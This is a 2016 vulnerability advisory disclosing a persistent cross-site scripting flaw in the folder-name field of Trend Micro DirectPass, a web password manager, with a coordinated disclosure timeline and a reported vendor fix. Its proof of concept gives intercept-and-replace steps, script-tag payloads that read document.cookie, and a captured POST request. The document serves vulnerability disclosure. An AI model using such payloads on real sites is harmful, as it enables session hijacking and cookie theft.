Document Title:
===============
Trend Micro Direct Pass -Persistent Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1712


Release Date:
=============
2016-02-05


Vulnerability Laboratory ID (VL-ID):
====================================
1712


Common Vulnerability Scoring System:
====================================
3.6


Product & Service Introduction:
===============================
DirectPass runs as a local console and browser plug-in but can also sync between multiple PC installations through your Trend Micro account. 
Unlike LastPass 1.72 (free, 5 stars), Dashlane (free, 4.5 stars), and RoboForm Everywhere 7 ($19.95 direct, 4.5 stars), it doesn`t let you 
log in to your saved credentials online. However, it will sync with free DirectPass apps for Android and iPhone. You can also test a free 
edition that manages just five passwords.

DirectPass can export its data for import to another DirectPass installation. It can also import login data from LastPass. Hoping to get a 
fast start, I imported my 200+ LastPass logins. The results were disappointing. For starters, DirectPass doesn`t include the ability to 
categorize sites, so my passwords came through as an unordered list, a very long list. There`s no way to sort the list, and no provision to 
search for a particular login. For some reason, clicking in the list`s scroll bar doesn`t scroll down by one  `page` of items. Instead, it 
scrolls to the corresponding location in the list. Finding any particular login required tediously scrolling through the entire list.

(Copy of the Vendor Homepage: https://www.directpass.com/signin )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered an application-side input validation web vulnerability in the official trend micro direct pass online service web-application.


Vulnerability Disclosure Timeline:
==================================
2016-02-03: Researcher Notification & Coordination (Lawrence Amer - Evolution Security GmbH)
2016-02-04: Vendor Notification (Trend Micro Security Team)
2016-02-05: Vendor Response/Feedback (Trend Micro Security Team)
2016-05-01: Vendor Fix/Patch #1 (Trend Micro Developer Team)
2016-05-09: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Trend Micro
Product: DirectPass 2016 Q1


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
A filter bypass issue has been discovered in official Trend Micro Direct Pass online service web-application.
The vulnerability allows remote attackers to bypass the input filter to inject own malicious script codes to 
the application-side of the online-service.

A persistent Vulnerability allows attackers to execute malicious java script code in the name of Folder which 
stores the passwords of current users.The vulnerability is located on the application-side and the request method 
to inject is POST. The validation of the input is wrong encoded and suffers from a persistent vulnerability.

The security risk of the application-side web vulnerability is estimated as medium with a cvss (common vulnerability 
scoring system) count of 3.6. Exploitation of the application-side web vulnerability requires a low privileged 
web-application user account and only low user interaction. Successful exploitation of the vulnerabilities results 
in persistent phishing, session hijacking, persistent external redirect to malicious sources and application-side 
manipulation of affected or connected module context.

Request Method(s):
				[+] POST

Vulnerable Module(s):
                                [+] Passwords Folders 

Affected Module(s):
				[+] Direct Pass - Web Application


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers with low privileged web-application user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Open https://www.directpass.com and sign-in
2. Go to https://www.directpass.com/showdb#passcard
3. Start a session tamper for http and intercept on the add foler name procedure the request (POST) 
4. Open the session tamper and replace the name of folder with a script code payload like <script>alert(document.cookie)</script>
5. When users going to add new passwords the java script is executed successfully
6. Successful reproduce of the persistent input validation vulnerability!

PoC Video: 
https://www.youtube.com/watch?v=rLy5bXBiM68


PoC: Source
"FolderName":"<script>alert(1)</script>","PasscardCount":100,"isEditable":true,"isShowCount":true}

--- PoC Session Logs [POST] ---
POST /api/folder/ HTTP/1.1
Host: www.directpass.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://www.directpass.com/showdb
Content-Length: 99
Cookie: ci_session=%2Fz1uWhpontdnjKMpPeJDFpbpiDeICr0G0jPWWbWYaahQHbex8DEEDR6I8iNeUdc15wyEAmYGk1fKREUoN8mHnhXMYze
9zixswtBsvzXVSCxkI37qQKybwfcwNV6uSy8hAWAi4cSD0HV%2FvZk2r5rXmbV714XbTZogDkjxkKCvncz4LBmm2oyGop%2Fy6xqjbT%2Bgfez7
k%2FvlShA1v%2F02pMEedjPEcJSkTGrybdRRLqqkZAd8LUryJMxSw8rA%2BEayaFZy2LlAJ5MW1BDjz4ELb%2ByIBUrVPesu8qWKf8tcfeOf%2Bl
cmKaLJkLiHQEbLecx1yY745i7fuyNI%2BMuXlW%2FkmaxME8WQs6yrK2x3SftEgk%2BuMmGUy2JDre2kTZc5g8MDWMBI%2BzM%3D; 
_ga=GA1.2.956333369.1454449777; data=NTk3MDY0OGRmN2Q3ZGE1; _gat=1; i18next=en-US
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache


Security Risk:
==============
The security risk of the persistent input validation web vulnerability in the direct-pass web-application is estimated as medium. (CVSS 3.6)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Lawrence Amer - ( http://www.vulnerability-lab.com/show.php?user=Lawrence%20Amer )


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